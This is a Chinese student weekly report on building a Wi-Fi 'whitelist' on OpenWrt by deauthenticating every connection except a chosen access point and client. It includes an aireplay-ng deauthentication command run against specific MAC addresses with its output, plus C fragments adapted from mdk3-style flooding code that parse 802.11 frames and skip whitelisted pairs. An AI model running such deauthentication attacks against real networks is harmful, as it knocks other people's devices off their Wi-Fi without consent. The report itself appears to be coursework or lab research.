每周总结

数据科学与计算机学院 孔德宇

一、任务概述

- 在 openwrt 中实现白名单功能。
- 代码实现白名单功能。

二、在 openwrt 中实现白名单功能

● 断开指定的 ap 和终端

在 openwrt 中安装 aircrack 工具后就可以对指定的 ap 和终端进行攻击，从而断开连接。

```
root@OpenWrt:~# aireplay-ng --deauth 10000 -a 3C:8B:CD:57:97:BF -c F4:8E:92:E3:09:E3 -e 12 --ignore-negative-one mon1
19:08:19  Waiting for beacon frame (BSSID: 3C:8B:CD:57:97:BF) on channel -1
For the given BSSID "3C:8B:CD:57:97:BF", there is an ESSID mismatch!
Found ESSID "ChinaNet-2Y2d" vs. specified ESSID "12"
Using the given one, double check it to be sure its correct!
19:08:19  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [19|18 ACKs]
19:08:20  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [15|17 ACKs]
19:08:20  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [ 0|43 ACKs]
19:08:21  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [23|16 ACKs]
19:08:22  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [21|17 ACKs]
19:08:22  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [ 8|18 ACKs]
19:08:23  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [11|34 ACKs]
19:08:23  Sending 64 directed DeAuth. STMAC: [F4:8E:92:E3:09:E3] [40|40 ACKs]
```

● 实现白名单功能，断开指定 ap 与终端外的所有可能连接。

在 openwrt 中实现白名单功能，大体有 3 个方法。

1、使用 aircrack 中的套件工具 airdrop-ng 编写攻击规则，从而达到白名单的效果。但是在 openwrt 中的软件中并没有找到符合要求的 aircrack-ng 工具版本，网上也没有找到对应的源码或 ipk 文件，因此只能先搁置了。

2、使用 mdk3 的白名单功能。由于 openwrt 官方软件并不提供 mdk3 的 ipk 安装，因此需要进行自己手动编译生成 ipk。从网上也找到了一份 mdk3 的 ipk 文件，但是因为固件不符，并不能使用。

3、自己编写 c 代码、编译生成 ipk。

目前的问题是，如何将复杂的包含多个源代码的 c 程序编译生成 ipk。

三、代码实现白名单功能

虽然 MDK3 有自带的白名单功能，但是存在着几点不足：

1、攻击范围过大，如果使用白名单功能，就会对扫描范围内除白名单外的所有连接进行攻击。

2、保护的是终端或 ap，我们的需求是保护某一个终端和某一个 ap 的特定

连接，因此不符合我们的需求。

在之前实现的打断连接代码的基础上进行修改，实现白名单功能。

```
void load_whitelist(char *filename)
{

    ssid_file_name = filename;
    uchar *parsed_mac;

    whitelist_len = 0;

    while (! ssid_eof) {
    parsed_mac = parse_mac(read_line_from_file(),3);
    memcpy(whitelist[whitelist_len], parsed_mac, ETH_MAC_LEN);
```

为了操作方便，把白名单设置成文件输入的方式，通过读取文件来设置白名单。

```
if ((pkt_amok[1] & '\x01') && (pkt_amok[1] & '\x02')) { // WDS packet
mac_sa = pkt_amok + 4;
mac_ta = pkt_amok + 10;
wds = 1;
}
else if (pkt_amok[1] & '\x01') {        // ToDS packet
mac_ta = pkt_amok + 4;
mac_sa = pkt_amok + 10;
wds = 0;
}
else if (pkt_amok[1] & '\x02') {        // FromDS packet
mac_sa = pkt_amok + 4;
mac_ta = pkt_amok + 10;
wds = 0;
}
else if ((!(pkt_amok[1] & '\x01')) && (!(pkt_amok[1] & '\x02'))) {  //AdHoc packet
mac_sa = pkt_amok + 10;
mac_ta = pkt_amok + 16;
wds = 0;
```

因为要断开终端与除白名单外所有 ap 的连接，因此这里通过嗅探数据包来获取其中的数据帧，并且不同帧格式中源地址和目的地址的位置来得到所有 ap 的 mac 地址。

```
    if (is_whitelisted(mac_sa,mac_ta)) goto newone;
if (is_station(mac_sa,mac_ta)) goto newone;
```

对于读取到的 mac 地址要与白名单列表中的进行比对，如果存在于白名单列表中则不进行洪水攻击。需要注意的是，因为咋嗅探的过程中也会得到其他的终端连接信息，因此也要把不属于目标终端设备的 mac 地址进行过滤，来去掉不必要的攻击。